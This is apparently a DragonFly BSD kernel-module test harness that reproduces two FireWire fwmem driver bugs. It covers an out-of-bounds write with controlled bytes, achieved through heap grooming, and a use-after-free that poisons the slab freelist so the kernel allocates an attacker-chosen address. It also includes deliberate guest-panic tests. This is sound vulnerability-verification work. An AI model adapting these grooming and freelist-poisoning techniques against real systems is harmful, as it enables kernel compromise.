/*
 * DF-5547 / DF-5548 verification harness
 * (sys/bus/firewire/fwmem.c pass-2 findings, DF-5413/DF-5321 KLD pattern)
 *
 * The UNMODIFIED production files firewire.c and fwmem.c are compiled into
 * this module (via #include, globals -D-renamed against the copies built
 * into the guest kernel) and their real code paths are driven with
 * synthetic state, exactly the way FireWire hardware + devfs + physio
 * would:
 *
 *   test 1 (DF-5547): production fwmem_open() + fwmem_strategy() with a
 *      physio-shaped bio (bp->b_bcount = 29, b_data = chunk+3, odd length
 *      -> fwmem.c:365-368 fwmem_read_block with len=29) ->
 *      fwmem.c:197 xfer->recv.pay_len = roundup2(29,4) = 32 while the
 *      destination buffer is 29 bytes.  A production RRESB response
 *      (padded to the quadlet boundary, as FireWire responders do /
 *      as a malicious node chooses) is injected through production
 *      fw_rcv() -> fw_rcv_copy() which caps the copy at recv.pay_len
 *      (32), NOT at the buffer size (29): firewire.c:1707-1718 copies
 *      32 bytes into b_data -> 3 CONTROLLED bytes land past the end of
 *      the caller's buffer -- here, in the adjacent 32-byte heap chunk
 *      (groomed, guard-patterned).
 *
 *   test 2 (DF-5548 replay): the exact mid-interleaving state of
 *      fwmem_ioctl(FW_SDEUI64) racing the final fwmem_close():
 *      production open -> production close (frees fms, fwmem.c:296) ->
 *      reconstruct "ioctl already loaded si_drv1" (dev->si_drv1 = stale
 *      pointer, fwmem.c:407) -> production fwmem_ioctl(FW_SDEUI64)
 *      bcopy()s 8 ATTACKER-CHOSEN bytes into the FREED 16-byte-zone
 *      chunk at offset 0 == the DragonFly SLAB freelist next pointer
 *      (kern_slaballoc.c) -> next two kmalloc(12)s pop the poisoned
 *      pointer: allocation #2 returns the address the attacker wrote.
 *
 *   test 3 (DF-5548 replay, FATAL): post-race state "fd alive,
 *      si_drv1 == NULL" (open loaded si_drv1 across the final close,
 *      fwmem.c:266/269 vs 295-297): production fwmem_ioctl(FW_SDEUI64)
 *      bcopy to NULL -> Fatal trap 12.  EXPECTED TO PANIC THE GUEST.
 *
 *   test 4 (DF-5548 live race): 4 kernel threads on 4 CPUs hammering
 *      production fwmem_open()/fwmem_close() on one shared cdev, exactly
 *      two user processes open()+close()ing /dev/fwmem0.0 concurrently
 *      (devfs serializes neither).  Expected: Fatal trap 12 in
 *      fwmem_open/fwmem_close (NULL+offsetof(refcount) write / NULL
 *      deref) or slab freelist corruption.
 *
 *   test 5 (DF-5548 replay variant B, FATAL): same as test 2 but the
 *      poisoned value is a module-global address -> kmalloc hands out the
 *      arbitrary address -> chunk_mark_allocated zone-membership assert.
 *
 * Fire with:  sysctl kern.df5547_test=<1|2|3|4|5>
 * Read back:  sysctl kern.df5547_status
 *
 * The only non-production driver code here is the synthetic fc/dev state
 * that fwohci_attach()/devfs/physio would create on a real machine
 * (cited where it is built) and the test dispatcher itself.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/conf.h>
#include <sys/event.h>
#include <sys/buf.h>
#include <sys/bio.h>
#include <sys/kthread.h>
#include <machine/atomic.h>

#include <sys/bus_private.h>		/* fake devclass/device for
					   devclass_get_softc() */

/*
 * firewire.c's MODULE_VERSION(firewire, 1) registers a module version the
 * same way the in-kernel copy does; the #name stringify would collide.
 */
#undef MODULE_VERSION
#define MODULE_VERSION(name, version)	struct __hack

/* production code, -D-renamed by the Makefile; the unguarded firewire
 * headers are routed through guard shims in ./shim (found first via -I). */
#include <bus/firewire/firewire.c>
#include <bus/firewire/fwmem.c>

#undef MODULE_VERSION

/* fwdev.c lives in the base kernel; firewire.c references these three --
 * provide renamed no-ops (devfs clone/makedev are irrelevant here). */
int dfw_fwdev_makedev(struct firewire_softc *sc) { return (0); }
int dfw_fwdev_destroydev(struct firewire_softc *sc) { return (0); }
void dfw_fwdev_clone(void *arg, char *name, int namelen, cdev_t *dev) { }

/* ------------------------------------------------------------------ */
/* synthetic host state (what fwohci_pci/fwohci attach + devfs build)  */
/* ------------------------------------------------------------------ */

static struct firewire_comm fc;			/* the "controller" */
static struct firewire_softc fsc;		/* devclass softc */
static struct fw_xferq atq, ats, arq, ars;
static struct fw_device fwdev;			/* the one remote node */
static int dfw_prepared;
static struct fw_xfer *dfw_sent;		/* captured by our TX kick */

static struct devclass	fake_devclass;
static device_t		fake_devclass_devices[1];
static device_t		fake_device;

/* fwohci.c:85-101 tinfo[] -- the tcode table fwohci_attach installs at
 * fwohci.c:661 (sc->fc.tcode = tinfo).  Replicated verbatim. */
static struct tcode_info mytinfo[] = {
/*		hdr_len block 	flag*/
/* 0 WREQQ  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 1 WREQB  */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* 2 WRES   */ {12,	FWTI_RES},
/* 3 XXX    */ { 0,	0},
/* 4 RREQQ  */ {12,	FWTI_REQ | FWTI_TLABEL},
/* 5 RREQB  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 6 RRESQ  */ {16,	FWTI_RES},
/* 7 RRESB  */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* 8 CYCS   */ { 0,	0},
/* 9 LREQ   */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* a STREAM */ { 4,	FWTI_REQ | FWTI_BLOCK_STR},
/* b LRES   */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* c XXX    */ { 0,	0},
/* d XXX    */ { 0, 	0},
/* e PHY    */ {12,	FWTI_REQ},
/* f XXX    */ { 0,	0}
};

/*
 * fwohci_start_atq() (fwohci.c:1004) -> fwohci_start() builds the AT DMA
 * descriptors and fwohci_txd() (fwohci.c:1020) dequeues the xfer from
 * xferq->q and marks it sent.  Our stand-in does the state-machine part:
 * dequeue + FWXF_SENT (what the hardware TX completion does).
 */
static void
dfw_start_atq(struct firewire_comm *fc)
{
	struct fw_xfer *xfer;

	crit_enter();
	while ((xfer = STAILQ_FIRST(&fc->atq->q)) != NULL) {
		STAILQ_REMOVE_HEAD(&fc->atq->q, link);
		fc->atq->queued--;
		xfer->state = FWXF_SENT;	/* fwohci_txd */
		dfw_sent = xfer;
	}
	crit_exit();
}

static void
dfw_prepare(void)
{
	int i;

	if (dfw_prepared)
		return;
	dfw_prepared = 1;

	bzero(&fc, sizeof(fc));

	/* fwohci attach: sc->fc.tcode = tinfo (fwohci.c:661) */
	fc.tcode = mytinfo;
	fc.maxrec = 21;			/* MAXREC(x)=2<<x: never trip the
					   send.pay_len check (firewire.c:210) */
	fc.max_asyretry = 4;		/* fw_init: FW_MAXASYRTY */
	fc.nisodma = 0;

	/* fwohci attach: atq/at AR xfer queues (fwohci.c:629-630) */
	bzero(&atq, sizeof(atq));
	bzero(&ats, sizeof(ats));
	bzero(&arq, sizeof(arq));
	bzero(&ars, sizeof(ars));
	STAILQ_INIT(&atq.q);
	STAILQ_INIT(&ats.q);
	atq.maxq = FWMAXQUEUE;
	ats.maxq = FWMAXQUEUE;
	atq.start = dfw_start_atq;	/* fwohci_start_atq */
	fc.atq = &atq;
	fc.ats = &ats;
	fc.arq = &arq;
	fc.ars = &ars;

	/* fw_init: tlabel table (firewire.c:759-761) + device list */
	for (i = 0; i < 0x40; i++)
		STAILQ_INIT(&fc.tlabels[i]);
	STAILQ_INIT(&fc.devices);
	STAILQ_INIT(&fc.binds);

	/* the remote node fw_noderesolve_eui64() will find */
	bzero(&fwdev, sizeof(fwdev));
	fwdev.fc = &fc;			/* fwmem_xfer_req: xfer->fc = fwdev->fc */
	fwdev.eui.hi = 0x11223344;
	fwdev.eui.lo = 0x55667788;
	fwdev.status = FWDEVATTACHED;	/* firewirereg.h:59 */
	fwdev.speed = 2;
	fwdev.dst = 1;
	STAILQ_INSERT_HEAD(&fc.devices, &fwdev, link);

	/* make devclass_get_softc(firewire_devclass, 0) return &fsc the way
	 * an attached fwohci card would (fwmem.c:339) */
	bzero(&fake_devclass, sizeof(fake_devclass));
	fake_device = kmalloc(sizeof(struct bsd_device), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	fake_device->softc = &fsc;
	fake_devclass_devices[0] = fake_device;
	fake_devclass.devices = fake_devclass_devices;
	fake_devclass.maxunit = 1;
	fsc.fc = &fc;
	dfw_devclass = &fake_devclass;

	/* fwmem.c static: the target EUI the cloned /dev/fwmem0.0 gets in
	 * fwmem_open (fwmem.c:274) */
	fwmem_eui64 = fwdev.eui;

	kprintf("df5547: prepared fc=%p fwdev=%p sizeof(fwmem_softc)=%zu "
	    "sizeof(fw_xfer)=%zu\n",
	    &fc, &fwdev, sizeof(struct fwmem_softc), sizeof(struct fw_xfer));
}

/* a fake cdev: devfs clones /dev/fwmem0.0 (fwdev_clone, fwdev.c:827-849)
 * with si_drv1 == NULL until fwmem_open() runs; we do it by hand */
static cdev_t
dfw_makefakecdev(void)
{
	cdev_t dev = kmalloc(sizeof(struct cdev), M_DEVBUF, M_WAITOK | M_ZERO);

	return (dev);			/* si_uminor 0 -> unit 0 */
}

static int
dfw_popen(cdev_t dev, int oflags)
{
	struct dev_open_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_oflags = oflags;
	ap.a_devtype = 0;
	ap.a_cred = NULL;
	ap.a_fpp = NULL;

	return (dfw_fwmem_open(&ap));		/* production fwmem.c:261 */
}

static int
dfw_pclose(cdev_t dev)
{
	struct dev_close_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_fflag = FREAD;
	ap.a_devtype = 0;
	ap.a_fp = NULL;

	return (dfw_fwmem_close(&ap));		/* production fwmem.c:286 */
}

static int
dfw_pioctl(cdev_t dev, u_long cmd, void *data)
{
	struct dev_ioctl_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_cmd = cmd;
	ap.a_data = data;
	ap.a_fflag = 0;

	return (dfw_fwmem_ioctl(&ap));		/* production fwmem.c:401 */
}

/* ------------------------------------------------------------------ */
/* response injection: what fwohci_arcv() does for an arriving RRESB    */
/* (fwohci.c:2824-2835 builds fw_rcv_buf and calls fw_rcv)             */
/* ------------------------------------------------------------------ */
static int dfw_done_count;

static void
dfw_bio_done(struct bio *bio)
{
	dfw_done_count++;
}

static void
dfw_respond_read(uint16_t datalen, const void *payload)
{
	struct fw_rcv_buf rb;
	struct iovec iov;
	static uint8_t pkt[16 + 2048 + 4];
	struct fw_pkt *fp = (struct fw_pkt *)pkt;

	bzero(pkt, 16 + datalen);
	fp->mode.hdr.dst = 0;			/* us (local bus mgr role) */
	fp->mode.hdr.tlrt = dfw_sent->tl << 2;	/* echo, like any responder */
	fp->mode.hdr.tcode = FWTCODE_RRESB;
	fp->mode.hdr.src = dfw_sent->send.hdr.mode.hdr.dst;
	fp->mode.rresb.rtcode = RESP_CMP;
	fp->mode.rresb.len = datalen;		/* quadlet-padded length */
	bcopy(payload, pkt + 16, datalen);

	iov.iov_base = pkt;
	iov.iov_len = 16 + datalen;
	rb.fc = &fc;
	rb.vec = &iov;
	rb.nvec = 1;
	rb.spd = 2;

	dfw_rcv(&rb);				/* production firewire.c:1731 */
}

/* ------------------------------------------------------------------ */
/* DF-5547: recv.pay_len = roundup2(len,4) > buffer len                */
/* ------------------------------------------------------------------ */
static char df5547_status[256] = "not run";

static void
df5547_one(cdev_t dev, void *chunk, int bcount, int guard_off,
    char *oob_desc)
{
	struct dev_strategy_args ap;
	struct bio *bio;
	struct buf *bp;
	uint8_t payload[2048 + 4];
	int i, err, over;

	bio = kmalloc(sizeof(struct bio), M_DEVBUF, M_WAITOK | M_ZERO);
	bp = kmalloc(sizeof(struct buf), M_DEVBUF, M_WAITOK | M_ZERO);
	bio->bio_buf = bp;
	bio->bio_offset = 0x1000;		/* != NOOFFSET, aligned */
	bio->bio_done = dfw_bio_done;
	bp->b_cmd = BUF_CMD_READ;
	bp->b_bcount = bcount;
	bp->b_data = (char *)chunk;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_bio = bio;

	/* guard pattern in the slack right after the caller's buffer */
	for (i = 0; i < 4; i++)
		((uint8_t *)chunk)[bcount + i] = 0xAA;

	/* responder payload: fill + controlled OOB tail */
	for (i = 0; i < roundup2(bcount, 4); i++)
		payload[i] = 0x5A;
	payload[bcount] = 0x41;
	payload[bcount + 1] = 0x42;
	payload[bcount + 2] = 0x43;

	err = dfw_fwmem_strategy(&ap);		/* production fwmem.c:325 */
	if (dfw_sent == NULL) {
		ksnprintf(df5547_status, sizeof(df5547_status),
		    "DF-5547: strategy failed (err=%d)", bp->b_error);
		kfree(bio, M_DEVBUF);
		kfree(bp, M_DEVBUF);
		return;
	}
	dfw_respond_read(roundup2(bcount, 4), payload);

	over = 0;
	for (i = 0; i < roundup2(bcount, 4) - bcount && i < 4; i++) {
		if (((uint8_t *)chunk)[bcount + i] != 0xAA)
			over++;
	}
	kprintf("df5547: bcount=%d pay_len=%d xfer.ok=%d biodone=%d "
	    "b_error=%d b_resid=%d | bytes past buffer: "
	    "%02x %02x %02x %02x -> %s\n",
	    bcount, roundup2(bcount, 4), dfw_sent != NULL, dfw_done_count,
	    bp->b_error, bp->b_resid,
	    ((uint8_t *)chunk)[bcount], ((uint8_t *)chunk)[bcount + 1],
	    ((uint8_t *)chunk)[bcount + 2], ((uint8_t *)chunk)[bcount + 3],
	    over ? "OOB WRITE" : "no change");
	if (over) {
		ksnprintf(df5547_status, sizeof(df5547_status),
		    "DF-5547 REPRODUCED (%s): %d byte(s) past the %d-byte "
		    "buffer overwritten with responder bytes 41/42/43 "
		    "(recv.pay_len=%d, buffer=%d)",
		    oob_desc, over, bcount, roundup2(bcount, 4), bcount);
	}
	dfw_sent = NULL;
	dfw_done_count = 0;
	kfree(bio, M_DEVBUF);
	kfree(bp, M_DEVBUF);
}

static void
df5547_test(void)
{
	cdev_t dev;
	void *hold[128];
	int i, j, best = -1;

	dfw_prepare();
	dev = dfw_makefakecdev();
	if (dfw_popen(dev, FREAD) != 0) {
		kprintf("df5547: open failed\n");
		return;
	}
	kprintf("df5547: fms=%p iosize_max=%d\n",
	    dev->si_drv1, dev->si_iosize_max);

	/*
	 * Groom the 16/32-byte zones: b_data points 3 bytes into a 32-byte
	 * chunk C whose immediate successor chunk N (C+32) is guard-filled.
	 * b_bcount=29 -> valid C+3..C+31; recv.pay_len=32 -> copy covers
	 * C+3..C+34: the last 3 bytes land in N -- a genuine cross-chunk
	 * OOB write with responder-controlled content.
	 */
	for (i = 0; i < 128; i++)
		hold[i] = kmalloc(32, DFW_M_FW, M_WAITOK);
	for (j = 0; j < 127; j++) {
		if ((char *)hold[j + 1] - (char *)hold[j] == 32) {
			best = j;
			break;
		}
	}
	kprintf("df5547: groom bank %p..%p adjacent pair idx=%d\n",
	    hold[0], hold[127], best);
	if (best >= 0) {
		memset(hold[best], 0x5A, 32);
		memset(hold[best + 1], 0xAA, 32);
		kprintf("df5547: C=%p N=%p -- b_data=C+3, b_bcount=29, "
		    "guard=N starts at C+32\n", hold[best], hold[best + 1]);
		df5547_one(dev, (char *)hold[best] + 3, 29, 0,
		    "cross-chunk into groomed neighbor");
		kprintf("df5547: N[0..3] now: %02x %02x %02x %02x "
		    "(was AA AA AA AA)\n",
		    ((uint8_t *)hold[best + 1])[0],
		    ((uint8_t *)hold[best + 1])[1],
		    ((uint8_t *)hold[best + 1])[2],
		    ((uint8_t *)hold[best + 1])[3]);
	}

	/* in-slack variants: the write lands past b_bcount inside one
	 * larger allocation (the physio bounce-buffer case) */
	{
		uint8_t *big = kmalloc(4096, DFW_M_FW, M_WAITOK | M_ZERO);
		df5547_one(dev, big, 1, 0, "3 bytes past, in-buffer slack");
		df5547_one(dev, big, 2, 0, "2 bytes past, in-buffer slack");
		df5547_one(dev, big, 3, 0, "1 byte past, in-buffer slack");
		df5547_one(dev, big, 5, 0, "3 bytes past, in-buffer slack");
		df5547_one(dev, big, 2047, 0, "1 byte past, in-buffer slack");
		/* negative controls: length multiple of 4 -> no OOB */
		df5547_one(dev, big, 28, 0, "control (mult of 4)");
		df5547_one(dev, big, 32, 0, "control (mult of 4)");
		kfree(big, DFW_M_FW);
	}

	kprintf("df5547: %s\n", df5547_status);
}

/* ------------------------------------------------------------------ */
/* DF-5548 test 2: UAF write via FW_SDEUI64 racing final close          */
/*   (deterministic stepwise replay of the interleaving)               */
/* variant A (test 2): poison -> same-slab LIVE chunk (silent overlap  */
/*   where no INVARIANTS; on this kernel the double-allocation trips   */
/*   "already allocated" after the proof lines have printed)           */
/* variant B (test 5): poison -> module-global address (arbitrary      */
/*   allocation; trips the zone-membership assert after proof lines)   */
/* ------------------------------------------------------------------ */
static uint64_t df5548_marker[8];
static char df5548_status[256] = "not run";

static void
df5548_replay(int arbitrary)
{
	cdev_t dev;
	struct fw_eui64 eui;
	void *fms, *p1, *p2 = NULL, *C16 = NULL, *S1, *S2, **bank;
	uint64_t M;
	int round;

	dfw_prepare();
	dev = dfw_makefakecdev();
	bank = kmalloc(4096 * sizeof(void *), M_DEVBUF, M_WAITOK | M_ZERO);

	for (round = 0; round < 64; round++) {
		int b, c, pair = -1, pairc = -1;

		if (arbitrary) {
			if (dfw_popen(dev, FREAD) != 0) {
				kprintf("df5548: open failed\n");
				kfree(bank, M_DEVBUF);
				return;
			}
			fms = dev->si_drv1;
			M = (uint64_t)(uintptr_t)&df5548_marker[0];
			goto have_target;
		}

		/*
		 * Variant A groom: drain the scattered freelist with a big
		 * bank so fresh slab pages get carved (contiguous chunks),
		 * then find a pair (P1,P2) in the SAME slab page; free P1
		 * last so the production fwmem_open() (LIFO zone) pops it
		 * as fms; P2 stays allocated = the LIVE same-slab target.
		 */
		for (b = 0; b < 4096; b++)
			bank[b] = kmalloc(12, DFW_M_FWMEM, M_WAITOK | M_ZERO);
		for (b = 4096 - 512; b < 4096 && pair < 0; b++) {
			for (c = b + 1; c < 4096; c++) {
				if ((((uintptr_t)bank[b]) ^
				    ((uintptr_t)bank[c])) & PAGE_MASK) {
					continue;
				}
				/* bank[b] will be P1 (freed for fms), bank[c] P2 */
				pair = b;
				pairc = c;
				break;
			}
		}
		if (pair < 0) {
			for (b = 0; b < 4096; b++)
				kfree(bank[b], DFW_M_FWMEM);
			continue;
		}
		/* free everything except the pair, P1 (bank[pair]) LAST */
		for (b = 4095; b >= 0; b--) {
			if (b != pair && b != pairc)
				kfree(bank[b], DFW_M_FWMEM);
		}
		kfree(bank[pair], DFW_M_FWMEM);		/* P1 -> zone head */
		C16 = bank[pairc];			/* P2: LIVE, same page */
		*(void **)C16 = NULL;			/* chain end */

		if (dfw_popen(dev, FREAD) != 0) {
			kprintf("df5548: open failed\n");
			kfree(bank, M_DEVBUF);
			return;
		}
		fms = dev->si_drv1;
		if (fms != bank[pair]) {
			/* zone head drifted; release and retry */
			kfree(C16, DFW_M_FWMEM);
			dfw_pclose(dev);
			continue;
		}
		M = (uint64_t)(uintptr_t)C16;
have_target:
		S1 = kmalloc(12, DFW_M_FWMEM, M_WAITOK | M_ZERO);
		S2 = kmalloc(12, DFW_M_FWMEM, M_WAITOK | M_ZERO);
		*(void **)S1 = S2;
		*(void **)S2 = NULL;
		if (arbitrary)
			memset(df5548_marker, 0, sizeof(df5548_marker));

		crit_enter();		/* freeze this CPU's 16B zone state */

		kprintf("df5548: round %d fms=%p (16B zone), poisoned "
		    "target M=%p (%s)\n",
		    round, fms, (void *)(uintptr_t)M,
		    arbitrary ? "module global -- arbitrary address"
			      : "same-slab LIVE chunk");

		/* production fwmem_close: refcount 1->0, kfree(fms)
		 * (fwmem.c:291-297) */
		dfw_pclose(dev);
		kprintf("df5548: after production close: si_drv1=%p, "
		    "freed chunk head (c_Next) = %p\n",
		    dev->si_drv1, *(void **)fms);

		/* reconstruct the mid-interleaving state of the racing
		 * fwmem_ioctl: it had loaded si_drv1 (fwmem.c:407) BEFORE
		 * the close freed it */
		dev->si_drv1 = fms;
		/* production FW_SDEUI64: bcopy 8 attacker bytes to
		 * &fms->eui == offset 0 of the FREED chunk (fwmem.c:410) */
		eui.hi = (uint32_t)M;
		eui.lo = (uint32_t)(M >> 32);
		dfw_pioctl(dev, FW_SDEUI64, &eui);

		kprintf("df5548: after production ioctl(FW_SDEUI64): "
		    "FREED chunk %p now holds %p (%s)\n",
		    fms, *(void **)fms,
		    *(void **)fms == (void *)(uintptr_t)M ?
		    "== ATTACKER VALUE, slab freelist poisoned" : "??");

		ksnprintf(df5548_status, sizeof(df5548_status),
		    "DF-5548 REPRODUCED (UAF write): FW_SDEUI64 wrote 8 "
		    "controlled bytes at offset 0 (the slab freelist next "
		    "pointer) of freed 16B-zone chunk %p; value=%p; "
		    "kmalloc follows it next", fms, (void *)(uintptr_t)M);

		p1 = kmalloc(12, DFW_M_FWMEM, M_INTWAIT);
		kprintf("df5548: kmalloc#1 = %p (%s) -- zone head now "
		    "walks to the poisoned pointer\n",
		    p1, p1 == fms ? "== freed chunk" : "??");
		/* on this INVARIANTS kernel the next allocation trips
		 * "already allocated" (variant A) or the zone-membership
		 * assert (variant B) -- both AFTER the proof above */
		p2 = kmalloc(12, DFW_M_FWMEM, M_INTWAIT);
		crit_exit();

		kprintf("df5548: kmalloc#2 = %p (%s)\n", p2,
		    p2 == (void *)(uintptr_t)M ?
		    "== POISONED TARGET handed out" : "??");
		if (p2 == (void *)(uintptr_t)M) {
			ksnprintf(df5548_status, sizeof(df5548_status),
			    "DF-5548 REPRODUCED (UAF + freelist poisoning): "
			    "FW_SDEUI64 wrote 8 controlled bytes into freed "
			    "chunk %p; kmalloc#2 returned the attacker-"
			    "chosen address %p", fms,
			    (void *)(uintptr_t)M);
		}
		kprintf("df5548: %s\n", df5548_status);
		kfree(p1, DFW_M_FWMEM);
		if (p2 && p2 != (void *)(uintptr_t)M)
			kfree(p2, DFW_M_FWMEM);
		kfree(bank, M_DEVBUF);
		return;
	}
	kfree(bank, M_DEVBUF);
	ksnprintf(df5548_status, sizeof(df5548_status),
	    "DF-5548 replay: same-slab neighbor not found in 64 rounds "
	    "(try the arbitrary variant)");
	kprintf("df5548: %s\n", df5548_status);
}

/* ------------------------------------------------------------------ */
/* DF-5548 test 4: live open/close race on one shared cdev             */
/* ------------------------------------------------------------------ */
static volatile int dfw_race_stop;
static volatile int dfw_race_alive;
static uint64_t dfw_race_iters;

static void
dfw_racer(void *arg)
{
	cdev_t dev = (cdev_t)arg;
	uint64_t n = 0;

	while (!dfw_race_stop) {
		dfw_popen(dev, FREAD);
		dfw_pclose(dev);
		n++;
		if ((n & 0xFF) == 0) {
			/* do not starve the LWKT scheduler / userland:
			 * sleep 1 tick every 256 pairs */
			atomic_add_64(&dfw_race_iters, 256);
			tsleep(&dfw_race_stop, 0, "dfwr", 1);
		}
	}
	atomic_add_64(&dfw_race_iters, n & 0xFF);
	atomic_subtract_int(&dfw_race_alive, 1);
	wakeup(&dfw_race_alive);
	kthread_exit();
}

static void
df5548_race(void)
{
	struct thread *td;
	cdev_t dev;
	int i, timo;

	kprintf("df5548: race: entry\n");
	dfw_prepare();
	dev = dfw_makefakecdev();
	dfw_race_stop = 0;
	dfw_race_alive = 4;
	dfw_race_iters = 0;

	for (i = 0; i < 4; i++) {
		if (kthread_create(dfw_racer, dev, &td, "dfwr%d", i) != 0) {
			kprintf("df5548: kthread_create %d failed\n", i);
			dfw_race_alive--;
		}
	}
	kprintf("df5548: %d racers hammering production fwmem_open/close "
	    "on cdev %p for up to 15s -- expect Fatal trap 12 in "
	    "dfw_fwmem_open (fwmem.c:270) or dfw_fwmem_close "
	    "(fwmem.c:292)\n", dfw_race_alive, dev);

	for (timo = 0; timo < 15 && dfw_race_alive > 0; timo++)
		tsleep(&dfw_race_alive, 0, "dfwrace", hz);
	dfw_race_stop = 1;
	wakeup(&dfw_race_stop);
	while (dfw_race_alive > 0)
		tsleep(&dfw_race_alive, 0, "dfwrace", 1);

	kprintf("df5548: race finished, %llu open+close pairs survived "
	    "with no interleaving hit\n",
	    (unsigned long long)dfw_race_iters);
	ksnprintf(df5548_status, sizeof(df5548_status),
	    "DF-5548 live race: survived %llu pairs (window not hit; "
	    "see replay results)", (unsigned long long)dfw_race_iters);
}

/* ------------------------------------------------------------------ */
/* DF-5548 test 3 (FATAL): fd alive, si_drv1 == NULL                   */
/* ------------------------------------------------------------------ */
static void
df5548_fatal(void)
{
	cdev_t dev;
	struct fw_eui64 eui;

	dfw_prepare();
	dev = dfw_makefakecdev();
	dev->si_drv1 = NULL;		/* the post-race state */

	eui.hi = 0xcafebabe;
	eui.lo = 0xdeadbeef;

	kprintf("df5548: production fwmem_ioctl(FW_SDEUI64) with "
	    "si_drv1==NULL (fwmem.c:407-410) -- expect Fatal trap 12 "
	    "(bcopy to 0x0)\n");
	dfw_pioctl(dev, FW_SDEUI64, &eui);
	kprintf("df5548: UNREACHED: ioctl returned\n");
}

/* ------------------------------------------------------------------ */
static int df5547_testno;

static int
df5547_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = df5547_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error)
		return (error);

	dfw_prepare();
	switch (v) {
	case 1:
		df5547_test();
		break;
	case 2:
		df5548_replay(0);	/* same-slab overlap variant */
		break;
	case 3:
		df5548_fatal();		/* panics */
		break;
	case 4:
		df5548_race();
		break;
	case 5:
		df5548_replay(1);	/* arbitrary-address variant */
		break;
	default:
		return (EINVAL);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df5547_test, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df5547_fire_sysctl, "I", "df5547/df5548 test selector");

static int
df5547_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	char buf[256];

	ksnprintf(buf, sizeof(buf), "5547[%s] 5548[%s]",
	    df5547_status, df5548_status);
	return (SYSCTL_OUT(req, buf, strlen(buf)));
}
SYSCTL_PROC(_kern, OID_AUTO, df5547_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, df5547_status_sysctl, "A", "df5547/df5548 last results");

/* NOTE: no DECLARE_MODULE here -- the included firewire.c's
 * DRIVER_MODULE(dfw_firewire, fwohci, ...) is the module entry point
 * (df5321/df5413 pattern). */